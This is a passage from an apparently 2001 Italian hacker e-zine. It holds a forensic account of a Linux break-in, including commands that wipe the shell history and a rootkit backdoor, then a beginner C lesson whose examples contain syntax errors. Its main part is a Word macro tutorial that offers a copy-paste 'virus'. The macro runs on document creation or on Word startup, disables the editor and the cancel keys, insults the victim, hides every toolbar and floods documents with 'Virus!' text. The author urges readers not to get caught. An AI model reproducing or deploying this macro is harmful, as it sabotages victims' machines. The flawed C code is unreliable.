X-Windows - scompattamento di un archivio "vanish2.tgz" e compilazione di due task denominato "web.c" e "vanish2.c" - cancellazione dell'archivio compresso (da cui l'errore al bootstrap) * Secondo gruppo ./secure ./rx4u -p 86 ./rx4u -f ./x ./rx4u -f ./y /usr/sbin/sendmail -p 436 -q & ./httpd >> ./tcp.log & - attivazione di una serie di processi/demoni in attesa su specifiche porte. Una successiva analisi ha portato a concludere che i task "rx4u" e "/usr/sbin/sendmail" sono uguali ed implementano un server ssh1 attivabile senza password, mentre il task hpptd e' un logger di attivita' HTTP probabilmente attivato con lo scopo di tracciare eventuali password in transito. Lo scopo del task "secure", infine, e' quello di eliminare alcuni servizi quali "portmapper" ed "rpc.statd" (serviti per l'exploit iniziale) allo scopo di evitare ulteriori intrusioni. E' infatti pratica abbastanza comune nelle comunita' dei cracker il rendere il sito "conquistato" non piu' attaccabile con il metodo originario, allo scopo di evitare intrusioni di altri cracker e mantenere in tal modo il controllo del sistema * Terzo gruppo rm -rf /root/.bash_history ln -s /dev/null /root/.bash_history cd / - cancellazione del file dei comandi dati durante la sessione iniziale di intrusione, collegamento del file in questione al "null device", allo scopo di non conservare eventuali comandi dati successivamente ed infine ritorno alla directory "/" iniziale, allo scopo di proseguire regolarmente con la procedura di bootstrap - nella directory nascosta di cui al punto precedente sono effettivamente presenti alcuni file (sorgenti, log, eseguibili) che fanno riferimento ai task appena descritti, segno inconfutabile di attivita' esterne al sistema cosi' come impostato alla installazione - i comandi "sendmail" e "ps" sono stati certamente sostituiti con degli altri task, rispettivamente in grado di fornire un servizio di server ssh1 accessibile anche senza password (sendmail) ed una lista di processi "mascherata" nascondendo i processi anomali in esecuzione (ps) - i file di log del sistema, oltre ad essere mancanti di parti di log per alcuni servizi, presentano tracce di accesso intorno ad un ben preciso periodo di tempo. Si tratta prevalentemente di accessi provenienti da alcuni sistemi situati presumibilmente in Romania ed in Turchia, dai quali sono giunte richieste ai servizi FTP ed rpc.statd, successivamente rivelatisi i due servizi che hanno permesso l'intrusione. 4. Diagnosi Le intrusioni remote su sistemi linux avvengono principalmente sfruttando le vulnerabilita' che di volta in volta si scoprono sui vari servizi che l'ambiente linux stesso mette a disposizione. Tali vulnerabilita' vengono infatti rese immediatamente di pubblico dominio (cosi' come le loro correzioni) ed e' quindi abbastanza facile che, nei giorni successivi alla pubblicazione, vi siano dei tentativi di violazione utilizzando quelle stesse vulnerabilita'. Naturalmente, per essere vulnerabili, il servizio per il quale e' stata pubblicata la vulnerabilita' stessa sia non solamente attivo, ma anche implementato con il particolare server oggetto della pubblicazione. Voglio dire: e' perfettamente inutile tentare di attaccare un server FTP implementato attraverso una versione del server wu-ftpd *diversa* da quella per la quale e' stata scoperta la vulnerabilita', poiche' il server stesso non ne sara' affetto se non per quella specifica versione. Il risultato sara' una bella delusione per chi tenta la violazione ed una bella riga nei nostri file di log che ci avvisa che c'e' stato un errore di funzionamento del server, ma nulla piu'. E' pero' pacifico che, vivendo una esperienza di questo genere, si debba riflettere attentamente circa l'opportunita' di avere un servizio di aggiornamento e manutenzione sufficientemente tempestivo, per mantenere elevato il livello di "robustezza" dell'intero sistema. A questo proposito si sprecano i fogli e gli inchiostri, quindi personalmente cerchero' di risparmiare l'abbattimento di diversi alberi tacendo sull'argomento ;) Chi comunque fosse interessato puo' ricercare semplicemente con un qualsiasi motore di ricerca parole quali "hardening linux system" e simili piacevolezze. 5. Terapia Come in tutti i casi di infezione (un attacco con successiva violazione non e' un virus, ma il comportamento ha caratteristiche simili: rapida diffusione, probabili recidive etc.) la migliore terapia e' la prevenzione. In questo senso una serie di interventi pianificati con una certa frequenza, volti a mantenere aggiornato il livello di sicurezza del sistema, e' normalmente sinonimo di buona salute generale del sistema stesso. E' pertanto calorosamente raccomandato un piano di manutenzione preventiva adeguato alle necessita' dell'utenza, da discutere con le figure tecniche piu' opportune. In sintesi il "consiglio" che mi sento di dare e'uno solo: OSSERVARE IL PROPRIO SISTEMA! E per farlo utilizzate il primo e piu' affidabile dei tool a vostra disposizione: I VOSTRI STESSI OCCHI! In fin dei conti, soltanto osservando il comportamento di un sistema che funziona bene si impara ad accorgersi di quando NON funziona bene... ;) Se poi volete a tutti i costi utilizzare degli strumenti informatici, affari vostri, io vi ho avvertito! ...no, sto scherzando ;) Gli strumenti informatici sono estremamente utili, ma devono appunto essere trattati come *strumenti*. Nessuno di essi sostituira' MAI la vostra sensibilita', il vostro acume e la vostra (certo!) INTELLIGENZA. Comunque sia, eccone una lista, anche questa (c'era bisogno di dirlo? ;) assolutamente parziale: - nmap - il "port scanner" per definizione. Molto probabilmente lo stesso strumento che e' stato utilizzato dallo stesso attaccante per determinare se il vostro sistema aveva una certa porta aperta e quindi un certo servizio attivo - netcat - il "coltellino svizzero" di qualsiasi network administrator. Non mi dilungo piu' di tanto su questo splendido strumento... non vi voglio certo togliere il gusto di scoprirlo da voi... ;) - iplogd - ottimo logger dei pacchetti IP in transito da e verso il vostro sistema. Per di piu' e' stato implementato da un italiano, Leonardo Serni, e questo ci fa davvero onore, credetemi! E, come se non bastasse, e' anche in grado di "rispondere" ad eventuali richieste "birichine", fingendosi un server in grado di accettare un controllo remoto... caldamente consigliato ;) - tripwire - un tool in grado di tenere traccia, attraverso un meccanismo di checksum, dei file presenti sul vostro hard disk, segnalando immediatamente eventuali manomissioni di alcuni di essi e quindi mettendovi sul "chi va la" non appena si verificassero modificazioni indesiderate, magari su file di comando quali "ps", "netstat" etc. - LIDS - acronimo di Linux Intrusion Detection System, e' probabilmente il migliore prodotto disponibile per "blindature" di sistemi linux. Si tratta di una serie di patches da applicare direttamente sul kernel che permettono il totale controllo di cosa accettare e cosa no (accesso a file, attivazione di comandi etc.). Attenzione a non esagerare, pero': un caro amico, probabilmente preso dall'eccitazione, ha bloccato un po' troppo e sostanzialmente non e' piu' riuscito ad accedere al suo sistema... Ha davvero dovuto reinstallare tutto! (era persino riuscito a crittografare il file system, cosi' nemmeno con un boot da floppy e' riuscito a recuperare i dati... bah! ;) 6. Conclusioni Questo articolo e' solo il primo di una serie che prevedo di scrivere (se qualcuno avra' la pazienza di sopportarmi, naturalmente ;) sull'argomento. Come ho gia' avuto modo di dire e di scrivere, non mi reputo certamente un "guru" del settore, ma parlo sulla base delle esperienze dirette che ho "vissuto" sulla pelle. La prossima volta intendo entrare nel dettaglio di uno dei remote exploit piu' diffusi, quello basato sul server rpc.statd distribuito con la versione RedHat 6.2. Un po' datato, certo, ma non dimentichiamo che il principale scopo di questi articoli e' di tipo didattico... chi vuole usare queste informazioni per attaccare qualche sistema in giro per Internet, sappia che non solo non ha la mia approvazione, ma che le informazioni che trova qui sono relative a vulnerabilita' gia' scoperte da tempo e, di riflesso, gia' corrette automaticamente nelle distribuzioni piu' recenti. "...e se invece fossimo solo riusciti ad annoiarvi, credete che non s'e' fatto apposta." [Alessandro Manzoni] alla prossima <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [C0DiNG] #02 - 18/06/2001 | | C0RS0 Di C ............................................... [JEYoNE] 0x12/0x25 | +-------------------------------------------------------------------------------+ L'argomento che voglio trattare è una guida, o meglio un corso introduttivo, per imparare il C. Comincio a dire a priori che io non sono un professore, e questo corso è per very very dummies. Probabilmente qualche cazzata la scrivo, quindi sentitevi liberi di correggermi, nell'eventualità che sbagliassi qualcosa. (HEY, NON SONO MICA IL TRIT! :] ) Io opterei per saltare tutto quello che riguarda la storia del linguaggio C, anche perchè penso che a nessuno, interessato ad imparare il linguaggio, freghi qualcosa di Dennis Ritchie e di altri personaggi "storici". Andiamo subito a vedere un semplice programmino, che non fa nient'altro che stampare a monitor una determinata frase: /* Con questi caratteri apriamo una zona detta "commento", il compilatore ignorerà tutto quello che è racchiuso in questi caratteri. Il commento si chiude con gli stessi due caratteri, però messi in maniera inversa, il commento può tornarvi utile per scrivere appunti all'interno di un codice. */ #include /* Includiamo nel progetto una libreria standard, che non è altro che un insieme macro e strutture. Questi file si chiamano HEADER */ main() /* Definiamo la funzione Main, il programma inizia sempre da qui, e questa funzione deve SEMPRE essere presente, in ogni programma. */ { /*Qui si apre la funzione. */ /* Le istruzioni della funzione sono racchiuse tra le parentesi graffe { e } , le parentesi si mettono SEMPRE e rappresentano l'inizio e la fine delle istruzioni */ printf("JEYoNE"); /* La funzione printf è quella che si occupa di stampare a monitor tutto quello che è racchiuso tra le ".." */ } /* chiudiamo con la } la funzione main() */ Bene, questo era un programmino semplice, il primo che si impara quando si entra nel mondo del C. Abbiamo visto delle cose fondamentali del linguaggio, per prima cosa la funzione principale main(), che deve sempre essere presente nel codice di un programma, dato che è quella che viene esegiuta per prima. Possiamo vedere che bisogna usare le parentesi ( ) per passare gli argomenti alle funzioni, tali vanno messi dopo il nome della funzione. Nel caso della funzione main() le parentesi rimangono vuote, visto che main non richiede argomenti. Per quello che riguarda la funzione printf() inseriamo tra gli apici "..." il testo da stampare. Ci sono dei parametri che possiamo aggiungere dopo il testo da stampare, che eseguono dei vari tipi di comandi. Per esempio c'è il \n che fa in modo che il compilatore vada a capo, come se premessimo invio quando scriviamo in un documento di testo. Il \t che indica il TAB, il \" che indica gli apici e il \\ che indica il backslash. La prima lezione è finita, non avete imparato nulla, anzi penso proprio che se avete letto questo documento fino in fondo avrete capito che è un corso a puntate. Sicuramente quasi tutti starete pensando che sono un cretino a voler fare un corso di C su una ezine che esce una volta ogni 3 mesi, e magari sperare di avere molto successo.... E pensandoci bene non avete tutti i torti, quindi procederò con un altro paio di lezioni, affinche avrete meno imprecazioni da usare contro di me! :)) In questa seconda lezione andremo a parlare delle variabili e delle costanti, che sono gli elementi base di un programma. Le variabili devono essere dichiarate prima di essere usate. Ci sono molti tipi di variabili numeriche, come per esempio le variabili INT, che sono le variabili che possono contenere soltanto numeri interi, le variabili FLOAT che possono contenere numeri decimali, e altre variabili che vedremo in un secondo momento. Per dichiarare una variabile dobbiamo scrivere il tipo di variabile che vogliamo usare ed un nome che vogliamo attribuire alla stessa. I nomi che possiamo dare alle variabili sono nomi qualunque, possiamo dargli il nome che vogliamo, ad esclusione dei nomi dei comandi del linguaggio, come int, float, char, double... I nomi delle variabili non possono nemmeno cominciare conn dei numeri o con dei simboli, come £ $ % / ? ; ecc ecc. Questo è un esempio di dichiarazione di una variabile: int jeyone; Bisogna notare un altro piccolo particolare, il C è case sensitive, quindi fa differenza tra le lettere maiuscole e quelle minuscole, scrivere jeyone, JeYoNe oppure JEYONE non è assolutamente la stessa cosa! I comandi devono sempre essere scritti in minuscolo, quindi parole come printf non possiamo scriverla come PRINTF. La variabile che abbiamo dichiarato prima è una variabile di tipo intero, chiamata jeyone. Abbiamo terminato la dichiarazione con un punto e virgola ; Ora vediamo come assegnare un valore ad una variabile: jeyone = 150; L'operatore " = " assegna alla variabile un valore, in questo caso il valore di jeyone è 150. Scrivere: jeyone = 100+50; oppure jeyone = 100+30+(10*2); è la stessa medesima cosa, infatti il compilatore risolverà l'espressione prima di compilare il codice. Questa fase si chiama di precompilazione. Ora andiamo a vedere come fare a stampare a monitor il valore di suddetta variabile, non basterà inserire un testo tra le "..", ma dovremo anche inserire un %d nel punto di testo in cui dovremmo far apparire il nostro valore, visto che si tratta di una variabile INT, e inserire il nome della variabile dopo gli apici, separato da una virgola. Andiamo ora a scrivere un codice in cui avremo una variabile di tipo intero di nome jeyone, e un printf che ne stampa a monitor il valore: #include /* Solita libreria standard*/ int jeyone /* Dichiariamo la variabile jeyone */ main() /* Funzione principale main*/ { /* Inizio della funzione main()*/ jeyone = 50 /* Assegnamo a jeyone il valore di 150*/ printf("JEYoNE oggi ha %d anni", jeyone); /* Stampiamo a monitor che JEYoNE oggi ha gli anni del valore della variabile jeyone */ } /* Terminiamo la funzione main() */ Come abbiamo accennato prima, per stampare il valore di una variabile INT dobbiamo usare il %d, per stampare invece il valore di una variabile FLOAT, dobbiamo usare il %f. Dopo aver visto le basi fondamentali del linguaggio, dopo aver visto come dichiarare UNA variabile, vediamo come poter dichiarare più di una variabile dello stesso tipo. Dichiariamo per esempio due variabili di tipo FLOAT: float trit, tdi; In questo caso abbiamo comunicato al compilatore che nel codice sono presenti due variabili, la variabile tritemius e la variabile tdi e che sono due variabili di tipo FLOAT. Sarebbe stato lo stesso se avessimo scritto: float trit; float tdi; La differenza è stata che abbiamo dichiarato tutte e due le variabili in un colpo solo, mettendo i nomi separati da una virgola, e terminando sempre con il solito punto e virgola. Come possiamo fare la dichiarazione di più variabili in un colpo solo, possiamo fare anche la stampa delle stesse utilizzando solo una riga di codice. Per stampare un valore a monitor dobbiamo utilizzare il printf, come abbiamo visto prima: printf("tritemius = %f\n, tdi = %f\n" , trit, tdi); Bene, ora che abbiamo visto come dichiarare e come stampare più di una variabile alla volta, facciamo un esempio pratico, in modo tale che posso ritenere chiusa anche questo capitolo: #include /*La solita libreria*/ int jey, malk; /* Dichiariamo 2 variabili INT */ float trit, tdi; /* Dichiariamo 2 variabili FLOAT */ main() /* Serve il commento? :) */ { /* Cominciamo la funzione main() */ jey = 150; /* Assegnamo a jeyone il valore di 150 */ malk = jey - 11; /* Assegnamo a malk il valore di jey meno 11 */ trit = 1.5; /* Assegnamo a trit il valore di 1.5 */ tdi = 7.138; /* Assegnamo a tdi il valore di 7.318 */ printf("jeyone è uguale a %d\n , mentre malk è %d" , jey, malk); /* Abbiamo stampato a monitor il valore delle variabili jey e malk, abbiamo messso il %d perchè si tratta di due variabili int */ printf(" tritemius vale %f\n , mentre tdi vale %f" ,trit, tdi); /* Anche qui, abbiamo stampato a monitor il valore delle due variabili, essendo due variabili FLOAT abbiamo messo il %f */ printf(" jey=%d , malk=%d , trit=%f , tdi=%f" jey, malk, trit, tdi); /* Abbiamo stampato a monitor tutte e quattro le variabili in un colpo solo! Mica male, eh? :) */ } /* Chiudiamo la funzione main() */ Guardando questo codice, possiamo notare una cosa che va oltre a quello che abbiamo spiegato fino qui, cioè come abbiamo fatto ad assegnare il valore alla variabile malk: malk = jey - 11; Il valore della variabile malk è 139, cioè l'equivalente di jey (150) meno 11. A questo punto possiamo capire che possiamo inserire un'espressione dando, oltre ai valori numerici, anche il nome di un altra variabile. I valori fondamentali sono: + addizione - sottrazione / divisione * moltiplicazione Uff! Anche questa è andata, per ora vi ho dato un pò di cose da fare, ora non resta altro che recuperare un compilatore C e provare quello che abbiamo visto fin qui. Nella prossima puntata parleremo del #define, cioè di come impostare un valore numerico ad un nome, dello scanf, cioè di come stampare dei dati immessi dalla tastiera, dei loop, cioè di come ripetere un'esecuzione un determinato numero di volte, e di conseguenza del for. Per ora vi saluto, sperando di ricevere anche della posta dai lettori. Ciao a tutti, il vostro JEYoNE. +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [C0DiNG] #02 - 18/06/2001 | | iNTR0 ALLE MACR0 (parte 3 e 4 di 8) ...................... [Mastro] 0x13/0x25 | +-------------------------------------------------------------------------------+ MACRO: PARTE 3° "PROGRAMMAZIONE MEDIA" Ok! In questa parte vedremo soprattutto come divertirsi a scopo della nostra vittima..... ;) Per questo ora vi spiego i comandi MsgBox e InputBox: il primo visualizza un messaggio ma il testo e il tipo di messaggio lo decidiamo noi. Sub pippo() macro creata il xx da xxxx MsgBox "Qui ci va il testo da inserire", qui ci va il tipo di messaggio (errore, avviso, ecc...), "Qui ci va il titolo del messaggio" End Sub Le virgole sono molto importanti, perchè dividono il messaggio dal tipo di bottone e dal titolo, quindi NON dimenticatele o farete una accozzaglia paurosa! I tipi di messaggio sono: vbOKOnly Visualizza solo il pulsante OK. VbOKCancel Visualizza i pulsanti OK e Annulla. VbAbortRetryIgnore Visualizza i pulsanti Termina, Riprova, e Ignora. VbYesNoCancel Visualizza i pulsanti Sì, No e Annulla. VbYesNo Visualizza i pulsanti Sì e No. VbRetryCancel Visualizza i pulsanti Riprova e Annulla. VbCritical La migliore!=> Visualizza l'icona di messaggio critico. VbQuestion Visualizza l'icona di richiesta di avviso. VbExclamation Visualizza l'icona di messaggio di avviso. VbInformation Visualizza l'icona di messaggio di informazione. VbDefaultButton1 Il primo pulsante è il predefinito. VbDefaultButton2 Il secondo pulsante è il predefinito. VbDefaultButton3 Il terzo pulsante è il predefinito. VbDefaultButton4 Il quarto pulsante è il predefinito VbApplicationModal Finestra di messaggio a scelta obbligatoria nell'applicazione. L'utente deve rispondere alla finestra di messaggio prima di poter continuare a lavorare nell'applicazione corrente. VbSystemModal Finestra di messaggio a scelta obbligatoria nel sistema. Tutte le applicazioni vengono sospese fino a quando l'utente non risponde alla finestra di messa Quindi: Sub pippo() macro creata il xx da xxxx MsgBox "L'utente ha compiuto una cazzata estrema, e dovrebbe andare a fanculo!", VbCritical, "Microsoft World Domination!" End Sub Un messaggio non molto simpatico, sopratutto se viene visualizzato ad ogni apertura di Word: Sub AutoExec() macro creata il xx da xxxx MsgBox "L'utente ha compiuto una cazzata estrema, e dovrebbe andare a fanculo!", VbCritical, "Microsoft World Domination!" End Sub Se non mettete il nome del pulsante o il titolo, Word ci mette il predefinito: come pulsante quello "solo ok" e come titolo "Microsoft Word". Ma ora passiamo a InputBox: visualizza una finestra con la possibilità che l'utente immetta del testo.......lo so che non avete capito un caxxo, ma non temete.... Sub pippo() macro creata il xx da xxxx InputBox("Testo, "Titolo","Parola già presente nello spazio dove l'utente mette la risposta") End Sub Ovviamente il testo inserito dall'utente può essere controllato, per esempio se l'utente inserisce una risposta sbagliata alla nostra domanda........ ;) Sub pippo() macro creata il xx da xxxx InputBox("Fino ad ora hai capito tutto?", "Microsoft World Domination!") End Sub Anche qui non dovete dimenticare le virgole e le parentesi. Ma come posso divertirmi a spese del coglione con le cose che vi ho spiegato? Semplicemente tramite il comando (già spiegato!) If.....Else.....End If! Sub pippo() macro creata il xx da xxxx o = InputBox("Kondor era il soprannome di Mitnick?", "Microsoft Hacked") <== Domanda If o = "si" <== Giusta risposta MsgBox "Hai ragione!" Else <== Se la risposta è sbagliata.. MsgBox "Brava merda hai sbagliato!" End IF End Sub Alcuni di voi si saranno chiesti che cosa è quella "o" con "=" davanti a InputBox? E' come se fosse il "nome" della funzione, tramite il quale poi richiamiamo la funzione e le assegnamo una risposta corretta. Con "Else" la macro non accetta nessuna risposta diversa da "si", nemmeno "Si", quindi attenzione a non sbagliare. Se volete verificare la macro usate il copia-incolla e poi la eseguite! Ed ora il virus della settimana! Più che un virus che devasta tutto è un banale virus che causerà molti problemi a chi usa parecchio word. ;) Potete scegliere tra due variabili: - la prima fa qualche domandina, spara qualche messaggio e, anche se l'utente (miracolosamente) è riuscito a rispondere esattamente a tutte le domande, il virus se ne fotte e agisce - il secondo è il codice del virus, diretto e senza messaggi. Se volete usarli tutti e due fate il copia-incolla per entrambi, ma se volete mettere delle domande create da voi o dei vostri messaggi, fate pure! Tanto ora ne siete capaci (spero!) ;) ELIMINATE IN VISUAL BASIC LA PARTE IN CUI DICE "MACRO CREATA IL XX DA XXXX", NON SI SA MAI! Sub AutoNew() Application.EnableCancelKey = wdCancelDisabled Application.FindKey(KeyCode:=wdKeyAlt + wdKeyF11).Disable Application.FindKey(KeyCode:=wdKeyAlt + wdKeyF8).Disable MsgBox "Errore nell'apertura di word.", vbCritical MsgBox "Impossibile aprire un nuovo documento.", vbCritical MsgBox "Si desidera correggere l'errore riscontrato?", vbInformation MsgBox "HAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!!!!!!!!!!!!!!!!", vbCritical MsgBox "Oh no! Ti sei cuccato un virus!!", vbCritical, "Microsoft Word è sotto il mio controllo!" MsgBox "Ed ora che farai?", vbInformation, "Microsoft Word è sotto il mio controllo!" MsgBox "Se tu vuoi posso anche non infettarti, basta solo che tu risponda correttamente alle mie domande.", vbExclamation, "Microsoft Word è sotto il mio controllo!" MsgBox "Caro (si fa per dire!), " & Application.UserName & ", sei pronto?", vbDefaultButton4, "Microsoft Word è sotto il mio controllo!" MsgBox " Via!" MsgBox "Ah! Dimenticavo: NON valgono le risposte in maiuscolo, scrivi TUTTO in minuscolo!", vbCritical, "Microsoft Word è sotto il mio controllo!" l = InputBox("Come si dice in tedesco la parola PIANOFORTE?", "Dove vai se le lingue non le sai?", "Scrivi qui testa di cazzo!") If l = "klavier" Then MsgBox "Però!! Il nostro " & Application.UserName & " sa anche il tedesco!", vbExclamation, "Microsoft Word è sotto il mio controllo!" Else MsgBox "Ma " & Application.UserName & " tu non sai proprio un cazzo!", vbCritical, "Microsoft Word è sotto il mio controllo!" End If e = InputBox("Qual'è il nome dell'ingegnere amico di Fantozzi?", "Micro-Software World Domination") If e = "filini" Then MsgBox "Bravo, sei anche un teledipendente!", vbCritical, "Microsoft Word è sotto il mio controllo!" Else MsgBox "Penso che anche Fantozzi ora riderebbe di te!", vbCritical, "Microsoft Word è sotto il mio controllo!", "Microsoft Word è sotto il mio controllo!" MsgBox "HA HA HA HA HA HA HA HA HA HA HA HA!!!!!!!!!!!!!", vbCritical, "Microsoft Word è sotto il mio controllo!", "Microsoft Word è sotto il mio controllo!" End If s = InputBox("Come si chiama il virus che paralizzò i sistemi informatici PRIMA di I love you?", "MicroVirus") If s = "melissa" Then MsgBox "Bene, così forse non c'è bisogno che io ti devasti la tua misera " & Application.ActivePrinter & "!!!!", vbCritical, "Microsoft Word è sotto il mio controllo!" Else MsgBox "NO!! Così non va! Non ci tieni alla tua cara " & Application.ActivePrinter & "?", vbCritical, "Microsoft Word è sotto il mio controllo!" End If o = InputBox("Nel film Armageddon con Bruce Willis nel finale lui.....", "MicroMovie", "Scrivi qui che cazzo gli succede!") If o = "muore" Then MsgBox "Per fortuna questa l'hai azzeccata!", vbExclamation, "Microsoft Word è sotto il mio controllo!" Else MsgBox "Ma allora sei proprio una merda umana!! Neanche l'ultima hai idovinato!!!!", vbCritical, "Microsoft Word è sotto il mio controllo!" End If MsgBox "Mi dipiace (come no!) ma devo infettarti.", vbCritical, "Microsoft Word è sotto il mio controllo!" MsgBox "Clicca su ok per avviarmi, oppure su cancel per non essere infettato." Questa era la prima parte, quella pattona per divertirsi a scopo della vittima. Se volete sapere il mio consiglio, è meglio farla breve (non come ho fatto io!) ;) Perchè l'utente se la vedrebbe ad ogni apertura di un documento, e magari dopo 15 volte capisce il trucco. >:( Questo sotto è il virus vero e proprio.....il suo utilizzo ideale sarebbe di metterla ad apertura automatica, dato che questo virus disabilita tutte le barre! Sarebbe come utilizzare Word Pad! Ah no! Word Pad sarebbe troppo bello! Se però volete usarli tutti e due ci sono delle modifiche da fare: - nel virus qui sotto cancellate "Sub AutoExec()" - cancellate tutto da "Selection.Font.ColorIndex = wdRed" fino alla fine. Se invece usate solo il codice qui sotto mantenete tutto! Il virus, poi, scrive circa 30 pagine di "Virus!!!" e "Tu hai un virus!!" e poi le stampa tutte e 30! Buon divertimento..........e NON fatevi beccare!!!! Sub AutoExec() CommandBars.ActiveMenuBar.Enabled = False CommandBars("Drawing").Enabled = False CommandBars("Formatting").Enabled = False CommandBars("Standard").Enabled = False CommandBars("Control Toolbox").Enabled = False CommandBars("Database").Enabled = False CommandBars("Picture").Enabled = False CommandBars("Visual Basic").Enabled = False CommandBars("Web").Enabled = False CommandBars("WordArt").Enabled = False CommandBars("AutoText").Enabled = False CommandBars("Forms").Enabled = False CommandBars("Reviewing").Enabled = False CommandBars("Tables and Borders").Enabled = False CommandBars("Drawing").Enabled = False CommandBars("Microsoft").Enabled = False CommandBars("3-D Settings").Enabled = False CommandBars("Shadow Settings").Enabled = False Selection.Font.ColorIndex = wdRed Selection.Font.Bold = wdToggle Selection.Font.Size = 72 Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.Font.Size = 20 Selection.Font.ColorIndex = wdBlack Selection.TypeText Text:="Tu hai un virus nel tuo computer!" Selection.TypeParagraph Selection.Font.ColorIndex = wdRed Selection.Font.Size = 72 Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.Font.Size = 20 Selection.Font.ColorIndex = wdBlack Selection.TypeText Text:="Tu hai un virus nel tuo computer!" Selection.TypeParagraph Selection.Font.ColorIndex = wdRed Selection.Font.Size = 72 Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.Font.Size = 20 Selection.Font.ColorIndex = wdBlack Selection.TypeText Text:="Tu hai un virus nel tuo computer!" Selection.TypeParagraph Selection.Font.ColorIndex = wdRed Selection.Font.Size = 72 Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.Font.Size = 20 Selection.Font.ColorIndex = wdBlack Selection.TypeText Text:="Tu hai un virus nel tuo computer!" Selection.TypeParagraph Selection.Font.ColorIndex = wdRed Selection.Font.Size = 72 Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.Font.Size = 20 Selection.Font.ColorIndex = wdBlack Selection.TypeText Text:="Tu hai un virus nel tuo computer!" Selection.TypeParagraph Selection.Font.ColorIndex = wdRed Selection.Font.Size = 72 Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.Font.Size = 20 Selection.Font.ColorIndex = wdBlack Selection.TypeText Text:="Tu hai un virus nel tuo computer!" Selection.TypeParagraph Selection.Font.ColorIndex = wdRed Selection.Font.Size = 72 Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.Font.Size = 20 Selection.Font.ColorIndex = wdBlack Selection.TypeText Text:="Tu hai un virus nel tuo computer!" Selection.TypeParagraph Selection.Font.ColorIndex = wdRed Selection.Font.Size = 72 Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" Selection.TypeParagraph Selection.TypeText Text:="V i r u s !" 